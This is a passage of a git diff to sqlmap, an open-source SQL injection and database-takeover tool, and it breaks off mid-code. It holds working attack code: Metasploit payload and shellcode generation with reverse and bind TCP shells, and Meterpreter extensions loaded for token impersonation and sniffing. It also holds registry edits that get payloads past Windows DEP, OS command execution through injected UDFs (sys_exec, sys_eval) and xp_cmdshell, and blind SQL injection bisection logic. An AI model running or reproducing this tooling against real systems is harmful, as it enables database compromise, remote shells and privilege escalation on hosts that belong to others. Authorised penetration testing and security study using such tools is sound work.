Abstraction(UDF, xp_cmdshell): raise sqlmapUnsupportedFeatureException, errMsg - def evalCmd(self, cmd): + def evalCmd(self, cmd, first=None, last=None): if kb.dbms in ( "MySQL", "PostgreSQL" ): - return self.udfEvalCmd(cmd) + return self.udfEvalCmd(cmd, first, last) elif kb.dbms == "Microsoft SQL Server": - return self.xpCmdshellEvalCmd(cmd) + return self.xpCmdshellEvalCmd(cmd, first, last) else: errMsg = "Feature not yet implemented for the back-end DBMS" @@ -89,8 +102,8 @@ class Abstraction(UDF, xp_cmdshell): else: self.execCmd(cmd, forgeCmd=True) - if kb.dbms == "Microsoft SQL Server": - self.cleanup(onlyFileTbl=True) + if not conf.osShell and not conf.cleanup: + self.__cmdShellCleanup() def absOsShell(self): @@ -138,20 +151,11 @@ class Abstraction(UDF, xp_cmdshell): self.runCmd(command) - if not conf.cleanup: - if kb.dbms in ( "MySQL", "PostgreSQL" ): - self.cleanup() - - elif kb.dbms == "Microsoft SQL Server": - self.cleanup(onlyFileTbl=True) - - else: - errMsg = "Feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + self.__cmdShellCleanup() def initEnv(self, mandatory=True, detailed=False): - if self.envInitialized == True: + if self.envInitialized is True: return self.checkDbmsOs(detailed) @@ -162,11 +166,11 @@ class Abstraction(UDF, xp_cmdshell): logger.warn(warnMsg) if kb.dbms in ( "MySQL", "PostgreSQL" ): - self.udfInit() + self.udfInjectCmd() elif kb.dbms == "Microsoft SQL Server": self.xpCmdshellInit(mandatory) else: - errMsg = "Feature not yet implemented for the back-end DBMS" + errMsg = "feature not yet implemented for the back-end DBMS" raise sqlmapUnsupportedFeatureException, errMsg diff --git a/lib/takeover/dep.py b/lib/takeover/dep.py deleted file mode 100644 index 64180b0a7..000000000 --- a/lib/takeover/dep.py +++ /dev/null @@ -1,171 +0,0 @@ -#!/usr/bin/env python - -""" -$Id$ - -This file is part of the sqlmap project, http://sqlmap.sourceforge.net. - -Copyright (c) 2007-2009 Bernardo Damele A. G. -Copyright (c) 2006 Daniele Bellucci - -sqlmap is free software; you can redistribute it and/or modify it under -the terms of the GNU General Public License as published by the Free -Software Foundation version 2 of the License. - -sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details. - -You should have received a copy of the GNU General Public License along -with sqlmap; if not, write to the Free Software Foundation, Inc., 51 -Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - - - -from lib.core.data import kb -from lib.core.data import logger -from lib.core.session import setDEP - - -class DEP: - """ - This class defines methods to handle DEP (Data Execution Prevention) - - The following operating systems has DEP enabled by default: - * Windows XP SP2+ - * Windows Server 2003 SP1+ - * Windows Vista SP0+ - * Windows 2008 SP0+ - - References: - * http://support.microsoft.com/kb/875352 - * http://en.wikipedia.org/wiki/Data_Execution_Prevention - """ - - def __init__(self): - self.bypassDEP = False - self.__supportDEP = False - - - def __initVars(self, exe): - self.__DEPvalues = { - "OPTIN": "only Windows system binaries are covered by DEP by default", - "OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed", - "ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway", - "ALWAYSOFF": "no DEP coverage for any part of the system" - } - self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" - self.__excRegValue = exe - self.__excRegValue = self.__excRegValue.replace("/", "\\") - - - def __addException(self): - infoMsg = "adding an exception to DEP in the Windows registry " - infoMsg += "for '%s' executable" % self.__excRegValue - - logger.info(infoMsg) - - if kb.dbms == "PostgreSQL": - warnMsg = "by default PostgreSQL server runs as postgres " - warnMsg += "user which has no privileges to add/delete " - warnMsg += "Windows registry keys, sqlmap will give it a try " - warnMsg += "anyway" - logger.warn(warnMsg) - - self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI") - - - def delException(self): - if self.bypassDEP == False: - return - - infoMsg = "deleting the exception to DEP in the Windows registry " - infoMsg += "for Metasploit Framework 3 payload stager" - logger.info(infoMsg) - - self.delRegKey(self.__excRegKey, self.__excRegValue) - - - def __analyzeDEP(self): - detectedValue = False - - for value, explanation in self.__DEPvalues.items(): - if value in kb.dep: - detectedValue = True - - if value in ( "OPTIN", "ALWAYSOFF" ): - logger.info(explanation) - - self.bypassDEP = False - - elif value == "OPTOUT": - logger.info(explanation) - - self.bypassDEP = True - self.__addException() - - elif value == "ALWAYSON": - logger.warn(explanation) - - self.bypassDEP = True - self.__addException() - - if detectedValue == False: - warnMsg = "it was not possible to detect the DEP system " - warnMsg += "policy, sqlmap will threat as if " - warnMsg += "%s" % self.__DEPvalues["OPTOUT"] - logger.warn(warnMsg) - - self.__addException() - - - def __systemHasDepSupport(self): - depEnabledOS = { - "2003": ( 1, 2 ), - "2008": ( 0, 1 ), - "XP": ( 2, 3 ), - "Vista": ( 0, 1 ), - } - - for version, sps in depEnabledOS.items(): - if kb.osVersion == version and kb.osSP in sps: - self.__supportDEP = True - break - - - def handleDep(self, exe): - logger.info("handling DEP") - - self.__systemHasDepSupport() - - if self.__supportDEP == True: - infoMsg = "the back-end DBMS underlying operating system " - infoMsg += "supports DEP: going to handle it" - logger.info(infoMsg) - - elif not kb.osVersion or not kb.osSP: - warnMsg = "unable to fingerprint the back-end DBMS " - warnMsg += "underlying operating system version and service " - warnMsg += "pack: going to threat as if DEP is enabled" - logger.warn(warnMsg) - - self.bypassDEP = True - - else: - infoMsg = "the back-end DBMS underlying operating system " - infoMsg += "does not support DEP: no need to handle it" - logger.info(infoMsg) - - return - - logger.info("checking DEP system policy") - - self.__initVars(exe) - - if not kb.dep: - kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper() - setDEP() - - self.__analyzeDEP() diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 2c714e46c..e71358dd1 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -24,7 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -import binascii import os import re import stat @@ -67,6 +66,7 @@ class Metasploit: self.portStr = None self.payloadStr = None self.encoderStr = None + self.payloadConnStr = None self.resourceFile = None @@ -93,14 +93,13 @@ class Metasploit: self.__msfConnectionsList = { "windows": { - 1: ( "Bind TCP (default)", "bind_tcp" ), - 2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ), - 3: ( "Reverse TCP", "reverse_tcp" ), - 4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ), + 1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ), + 2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), + 3: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ), }, "linux": { - 1: ( "Bind TCP (default)", "bind_tcp" ), - 2: ( "Reverse TCP", "reverse_tcp" ), + 1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ), + 2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), } } @@ -130,8 +129,8 @@ class Metasploit: } self.__portData = { - "bind": "remote port numer", - "reverse": "local port numer", + "bind": "remote port number", + "reverse": "local port number", } @@ -186,7 +185,10 @@ class Metasploit: def __selectEncoder(self, encode=True): - if kb.os == "Windows" and encode == True: + if isinstance(encode, str): + return encode + + elif kb.os == "Windows" and encode is True: return self.__skeletonSelection("payload encoding", self.__msfEncodersList) @@ -330,10 +332,14 @@ class Metasploit: self.payloadStr = self.__selectPayload(askChurrasco) self.encoderStr = self.__selectEncoder(encode) + if self.payloadStr == "linux/x86/shell": + self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr) + else: + self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) + def __forgeMsfCliCmd(self, exitfunc="process"): - self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli - self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr) + self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) self.__cliCmd += " EXITFUNC=%s" % exitfunc self.__cliCmd += " LPORT=%s" % self.portStr @@ -364,7 +370,7 @@ class Metasploit: self.__resource = "use windows/smb/smb_relay\n" self.__resource += "set SRVHOST %s\n" % self.lhostStr self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort() - self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr) + self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr self.__resource += "set LPORT %s\n" % self.portStr if self.connectionStr.startswith("bind"): @@ -384,8 +390,7 @@ class Metasploit: def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): - self.__payloadCmd = self.__msfPayload - self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr) + self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr) self.__payloadCmd += " EXITFUNC=%s" % exitfunc self.__payloadCmd += " LPORT=%s" % self.portStr @@ -395,19 +400,11 @@ class Metasploit: elif not self.connectionStr.startswith("bind"): raise sqlmapDataException, "unexpected connection type" - if kb.os == "Windows": + if kb.os == "Windows" or extra == "BufferRegister=EAX": self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format) if extra is not None: self.__payloadCmd += " %s" % extra - - # NOTE: payload stager for Linux can only be encoded if the - # Metasploit working copy has been updated after May 11, 2009 - # (http://trac.metasploit.com/changeset/6543) - # - # TODO: remember to update this code as soon as Metasploit - # Framework 3.3 is out officially and update the user's manual to - # notify that sqlmap depends upon Metasploit Framework 3.3 else: self.__payloadCmd += " X > %s" % outFile @@ -431,6 +428,14 @@ class Metasploit: self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) + def __runMsfShellcodeRemote(self): + infoMsg = "running Metasploit Framework 3 shellcode " + infoMsg += "remotely via UDF 'sys_bineval', wait.." + logger.info(infoMsg) + + self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") + + def __runMsfPayloadRemote(self): infoMsg = "running Metasploit Framework 3 payload stager " infoMsg += "remotely, wait.." @@ -447,11 +452,6 @@ class Metasploit: if kb.dbms == "Microsoft SQL Server": cmd = self.xpCmdshellForgeCmd(cmd) - # NOTE: calling the Metasploit payload from a system() function in - # C on Windows (check on Linux the behaviour) for some reason - # hangs it and the HTTP response goes into timeout, this does not - # happen when running the it from Windows cmd. - # Investigate and fix if possible self.execCmd(cmd, silent=True) @@ -459,23 +459,25 @@ class Metasploit: if kb.os != "Windows": return - if self.resourceFile != None: + if self.resourceFile is not None: proc.stdin.write("sessions -l\n") proc.stdin.write("sessions -i %s\n" % metSess) + proc.stdin.write("getuid\n") + + proc.stdin.write("use espia\n") + proc.stdin.write("use incognito\n") proc.stdin.write("use priv\n") + proc.stdin.write("use sniffer\n") if conf.privEsc == True: print - infoMsg = "loading Meterpreter 'incognito' extension and " - infoMsg += "displaying the list of Access Tokens availables. " + infoMsg = "displaying the list of Access Tokens availables. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token'" logger.info(infoMsg) - proc.stdin.write("use incognito\n") - proc.stdin.write("getuid\n") proc.stdin.write("list_tokens -u\n") @@ -520,6 +522,12 @@ class Metasploit: if pwnBofCond or smbRelayCond: func() + if "Starting the payload handler" in out and "shell" in self.payloadStr: + if kb.os == "Windows": + proc.stdin.write("whoami\n") + else: + proc.stdin.write("uname -a ; id\n") + metSess = re.search("Meterpreter session ([\d]+) opened", out) if metSess: @@ -531,18 +539,16 @@ class Metasploit: return returncode - def createMsfShellcode(self): - infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " - infoMsg += "for the exploit" + def createMsfShellcode(self, exitfunc, format, extra, encode): + infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " logger.info(infoMsg) self.__randStr = randomStr(lowercase=True) self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) - self.shellcodeChar = "" self.__initVars() - self.__prepareIngredients(askChurrasco=False) - self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"") + self.__prepareIngredients(encode=encode, askChurrasco=False) + self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra) logger.debug("executing local command: %s" % self.__payloadCmd) process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE) @@ -551,31 +557,29 @@ class Metasploit: pollProcess(process) payloadStderr = process.communicate()[1] - if kb.os == "Windows": + if kb.os == "Windows" or extra == "BufferRegister=EAX": payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) else: payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) if payloadSize: - payloadSize = payloadSize.group(1) + payloadSize = int(payloadSize.group(1)) - debugMsg = "the shellcode size is %s bytes" % payloadSize + if extra == "BufferRegister=EAX": + payloadSize = payloadSize / 2 + + debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: - errMsg = "failed to create the shellcode (%s)" % payloadStderr + errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "") raise sqlmapFilePathException, errMsg self.__shellcodeFP = open(self.__shellcodeFilePath, "rb") - self.__shellcodeString = self.__shellcodeFP.read() + self.shellcodeString = self.__shellcodeFP.read() self.__shellcodeFP.close() os.unlink(self.__shellcodeFilePath) - hexStr = binascii.hexlify(self.__shellcodeString) - - for hexPair in range(0, len(hexStr), 2): - self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] - def createMsfPayloadStager(self, initialize=True): if initialize == True: @@ -647,14 +651,21 @@ class Metasploit: os.unlink(self.exeFilePathLocal) - def pwn(self): - self.__runMsfCli(exitfunc="process") + def pwn(self, goUdf=False): + if goUdf is True: + exitfunc = "thread" + func = self.__runMsfShellcodeRemote + else: + exitfunc = "process" + func = self.__runMsfPayloadRemote + + self.__runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): - self.__runMsfPayloadRemote() + func() debugMsg = "Metasploit Framework 3 command line interface exited " - debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote) + debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func) logger.debug(debugMsg) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 62cebfc26..7672c2e2f 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -37,20 +37,20 @@ class Registry: This class defines methods to read and write Windows registry keys """ - def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False): + def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False): self.__regKey = regKey - self.__regName = regName - self.__regType = regType self.__regValue = regValue + self.__regType = regType + self.__regData = regData self.__randStr = randomStr(lowercase=True) self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr) self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr) if parse == True: - readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n" + readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: - readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"" + readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"" self.__batRead = ( "@ECHO OFF\r\n", @@ -59,24 +59,15 @@ class Registry: self.__batAdd = ( "@ECHO OFF\r\n", - "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue) + "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData) ) self.__batDel = ( "@ECHO OFF\r\n", - "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName) + "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue) ) - def __execBatPathRemote(self): - if kb.dbms == "Microsoft SQL Server": - cmd = self.xpCmdshellForgeCmd(self.__batPathRemote) - else: - cmd = self.__batPathRemote - - self.execCmd(cmd) - - def __createLocalBatchFile(self): self.__batPathFp = open(self.__batPathLocal, "w") @@ -102,38 +93,49 @@ class Registry: os.unlink(self.__batPathLocal) - def readRegKey(self, regKey, regName, parse): + def readRegKey(self, regKey, regValue, parse=False): self.__operation = "read" - self.__initVars(regKey, regName, parse=parse) + self.__initVars(regKey, regValue, parse=parse) self.__createRemoteBatchFile() - logger.debug("reading registry key '%s' name '%s'" % (regKey, regName)) + logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) - return self.evalCmd(self.__batPathRemote) + if not parse: + first = len(regKey) + 6 + else: + first = None + + data = self.evalCmd(self.__batPathRemote, first) + + self.delRemoteTempFile(self.__batPathRemote, bat=True) + + return data - def addRegKey(self, regKey, regName, regType, regValue): + def addRegKey(self, regKey, regValue, regType, regData): self.__operation = "add" - self.__initVars(regKey, regName, regType, regValue) + self.__initVars(regKey, regValue, regType, regData) self.__createRemoteBatchFile() - debugMsg = "adding registry key name '%s' " % self.__regName + debugMsg = "adding registry key value '%s' " % self.__regValue debugMsg += "to registry key '%s'" % self.__regKey logger.debug(debugMsg) - self.__execBatPathRemote() + self.execCmd(cmd=self.__batPathRemote, forgeCmd=True) + self.delRemoteTempFile(self.__batPathRemote, bat=True) - def delRegKey(self, regKey, regName): + def delRegKey(self, regKey, regValue): self.__operation = "delete" - self.__initVars(regKey, regName) + self.__initVars(regKey, regValue) self.__createRemoteBatchFile() - debugMsg = "deleting registry key name '%s' " % self.__regName + debugMsg = "deleting registry key value '%s' " % self.__regValue debugMsg += "from registry key '%s'" % self.__regKey logger.debug(debugMsg) - self.__execBatPathRemote() + self.execCmd(cmd=self.__batPathRemote, forgeCmd=True) + self.delRemoteTempFile(self.__batPathRemote, bat=True) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index f26edb29c..983eea8eb 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -24,9 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import os + +from lib.core.agent import agent +from lib.core.common import readInput from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dump import dumper +from lib.core.exception import sqlmapFilePathException +from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapUnsupportedFeatureException from lib.request import inject +from lib.techniques.outband.stacked import stackedTest class UDF: @@ -37,20 +49,71 @@ class UDF: def __init__(self): self.createdUdf = set() + self.udfs = {} self.udfToCreate = set() - def udfExecCmd(self, cmd, silent=False): + def __askOverwriteUdf(self, udf): + message = "UDF '%s' already exists, do you " % udf + message += "want to overwrite it? [y/N] " + output = readInput(message, default="N") + + if output and output[0] in ("y", "Y"): + return True + else: + return False + + + def __checkExistUdf(self, udf): + logger.info("checking if UDF '%s' already exist" % udf) + + query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf)) + exists = inject.getValue(query, resumeValue=False, unpack=False) + + if exists == "1": + return True + else: + return False + + + def udfCheckAndOverwrite(self, udf): + exists = self.__checkExistUdf(udf) + overwrite = True + + if exists is True: + overwrite = self.__askOverwriteUdf(udf) + + if overwrite is True: + self.udfToCreate.add(udf) + + + def udfCreateSupportTbl(self, dataType): + debugMsg = "creating a support table to write commands standard " + debugMsg += "output to" + logger.debug(debugMsg) + + self.createSupportTbl(self.cmdTblName, self.tblField, dataType) + + + def udfExecCmd(self, cmd, silent=False, udfName=None): cmd = urlencode(cmd, convall=True) - inject.goStacked("SELECT sys_exec('%s')" % cmd, silent) + if udfName is None: + cmd = "'%s'" % cmd + udfName = "sys_exec" + + inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) - def udfEvalCmd(self, cmd): + def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): cmd = urlencode(cmd, convall=True) - inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd)) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False) + if udfName is None: + cmd = "'%s'" % cmd + udfName = "sys_eval" + + inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if isinstance(output, (list, tuple)): @@ -62,6 +125,258 @@ class UDF: return output - def udfInit(self): - errMsg = "udfInit() method must be defined within the plugin" + def udfCreateFromSharedLib(self): + errMsg = "udfSetRemotePath() method must be defined within the plugin" raise sqlmapUnsupportedFeatureException, errMsg + + + def udfSetRemotePath(self): + errMsg = "udfSetRemotePath() method must be defined within the plugin" + raise sqlmapUnsupportedFeatureException, errMsg + + + def udfInjectCmd(self): + errMsg = "udfInjectCmd() method must be defined within the plugin" + raise sqlmapUnsupportedFeatureException, errMsg + + + def udfInjectCore(self, udfDict): + for udf in udfDict.keys(): + if udf in self.createdUdf: + continue + + self.udfCheckAndOverwrite(udf) + + if len(self.udfToCreate) > 0: + self.udfSetRemotePath() + self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False) + + for udf, inpRet in udfDict.items(): + if udf in self.udfToCreate and udf not in self.createdUdf: + self.udfCreateFromSharedLib(udf, inpRet) + + if kb.dbms == "MySQL": + supportTblType = "longtext" + elif kb.dbms == "PostgreSQL": + supportTblType = "text" + + self.udfCreateSupportTbl(supportTblType) + + + def udfInjectCustom(self): + if kb.dbms not in ( "MySQL", "PostgreSQL" ): + errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms + raise sqlmapUnsupportedFeatureException, errMsg + + stackedTest() + + if kb.stackedTest == False: + return + + self.checkDbmsOs() + + if self.isDba() == False: + warnMsg = "the functionality requested might not work because " + warnMsg += "the session user is not a database administrator" + logger.warn(warnMsg) + + if not conf.shLib: + msg = "which is the local path of the shared library? " + + while True: + self.udfLocalFile = readInput(msg) + + if self.udfLocalFile: + break + else: + logger.warn("you need to specify the local path of the shared library") + else: + self.udfLocalFile = conf.shLib + + if not os.path.exists(self.udfLocalFile): + errMsg = "the specified shared library file does not exist" + raise sqlmapFilePathException, errMsg + + if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): + errMsg = "shared library file must end with '.dll' or '.so'" + raise sqlmapMissingMandatoryOptionException, errMsg + + elif self.udfLocalFile.endswith(".so") and kb.os == "Windows": + errMsg = "you provided a shared object as shared library, but " + errMsg += "the database underlying operating system is Windows" + raise sqlmapMissingMandatoryOptionException, errMsg + + elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux": + errMsg = "you provided a dynamic-link library as shared library, " + errMsg += "but the database underlying operating system is Linux" + raise sqlmapMissingMandatoryOptionException, errMsg + + self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] + self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] + + msg = "how many user-defined functions do you want to create " + msg += "from the shared library? " + + while True: + udfCount = readInput(msg, default=1) + + if isinstance(udfCount, str) and udfCount.isdigit(): + udfCount = int(udfCount) + + if udfCount <= 0: + logger.info("nothing to inject then") + return + else: + break + + elif isinstance(udfCount, int): + break + + else: + logger.warn("invalid value, only digits are allowed") + + for x in range(0, udfCount): + while True: + msg = "what is the name of the UDF number %d? " % (x + 1) + udfName = readInput(msg) + + if udfName: + self.udfs[udfName] = {} + break + else: + logger.warn("you need to specify the name of the UDF") + + if kb.dbms == "MySQL": + defaultType = "string" + elif kb.dbms == "PostgreSQL": + defaultType = "text" + + self.udfs[udfName]["input"] = [] + + default = 1 + msg = "how many input parameters takes UDF " + msg += "'%s'? (default: %d) " % (udfName, default) + + while True: + parCount = readInput(msg, default=default) + + if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0: + parCount = int(parCount) + break + + elif isinstance(parCount, int): + break + + else: + logger.warn("invalid value, only digits >= 0 are allowed") + + for y in range(0, parCount): + msg = "what is the data-type of input parameter " + msg += "number %d? (default: %s) " % ((y + 1), defaultType) + + while True: + parType = readInput(msg, default=defaultType) + + if isinstance(parType, str) and parType.isdigit(): + logger.warn("you need to specify the data-type of the parameter") + + else: + self.udfs[udfName]["input"].append(parType) + break + + msg = "what is the data-type of the return " + msg += "value? (default: %s) " % defaultType + + while True: + retType = readInput(msg, default=defaultType) + + if isinstance(retType, str) and retType.isdigit(): + logger.warn("you need to specify the data-type of the return value") + + else: + self.udfs[udfName]["return"] = retType + break + + self.udfInjectCore(self.udfs) + + msg = "do you want to call your injected user-defined " + msg += "functions now? [Y/n/q] " + choice = readInput(msg, default="Y") + + if choice[0] not in ( "y", "Y" ): + self.cleanup(udfDict=self.udfs) + return + + while True: + udfList = [] + msg = "which UDF do you want to call?" + + for udf, inpRet in self.udfs.items(): + udfList.append(udf) + msg += "\n[%d] %s" % (len(udfList), udf) + + msg += "\n[q] Quit" + + while True: + choice = readInput(msg) + + if choice[0] in ( "q", "Q" ): + break + + if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + choice = int(choice) + break + + elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): + break + + else: + warnMsg = "invalid value, only digits >= 1 and " + warnMsg += "<= %d are allowed" % len(udfList) + logger.warn(warnMsg) + + cmd = "" + count = 1 + udfToCall = udfList[choice - 1] + + for inp in self.udfs[udfToCall]["input"]: + msg = "what is the value of the parameter number " + msg += "%d (data-type: %s)? " % (count, inp) + + while True: + parValue = readInput(msg) + + if parValue: + if "int" not in inp and "bool" not in inp: + parValue = "'%s'" % parValue + + cmd += "%s," % parValue + + break + else: + logger.warn("you need to specify the value of the parameter") + + count += 1 + + cmd = cmd[:-1] + msg = "do you want to retrieve the return value of the " + msg += "UDF? [Y/n] " + choice = readInput(msg, default="Y") + + if choice[0] in ("y", "Y"): + output = self.udfEvalCmd(cmd, udfName=udfToCall) + + if output: + dumper.string("return value", output) + else: + print "No return value" + else: + self.udfExecCmd(cmd, udfName=udfToCall, silent=True) + + msg = "do you want to call this or another injected UDF? [Y/n] " + choice = readInput(msg, default="Y") + + if choice[0] not in ("y", "Y"): + break + + self.cleanup(udfDict=self.udfs) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 0a8fe9b62..236982032 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -134,20 +134,20 @@ class xp_cmdshell: inject.goStacked(cmd, silent) - def xpCmdshellEvalCmd(self, cmd): + def xpCmdshellEvalCmd(self, cmd, first=None, last=None): self.getRemoteTempPath() tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile)) self.xpCmdshellExecCmd(cmd) - self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) - cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\")) - self.xpCmdshellExecCmd(cmd) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False) - self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName) + self.delRemoteTempFile(tmpFile) + + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) if isinstance(output, (list, tuple)): output = output[0] diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 6b45e00da..40a181ac1 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -45,7 +45,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request -def bisection(payload, expression, length=None, charsetType=None): +def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host @@ -56,6 +56,24 @@ def bisection(payload, expression, length=None, charsetType=None): asciiTbl = getCharset(charsetType) + if "LENGTH(" in expression or "LEN(" in expression: + firstChar = 0 + elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ): + firstChar = int(conf.firstChar) - 1 + elif firstChar is None: + firstChar = 0 + elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int): + firstChar = int(firstChar) - 1 + + if "LENGTH(" in expression or "LEN(" in expression: + lastChar = 0 + elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ): + lastChar = int(conf.lastChar) + elif lastChar in ( None, "0" ): + lastChar = 0 + elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int): + lastChar = 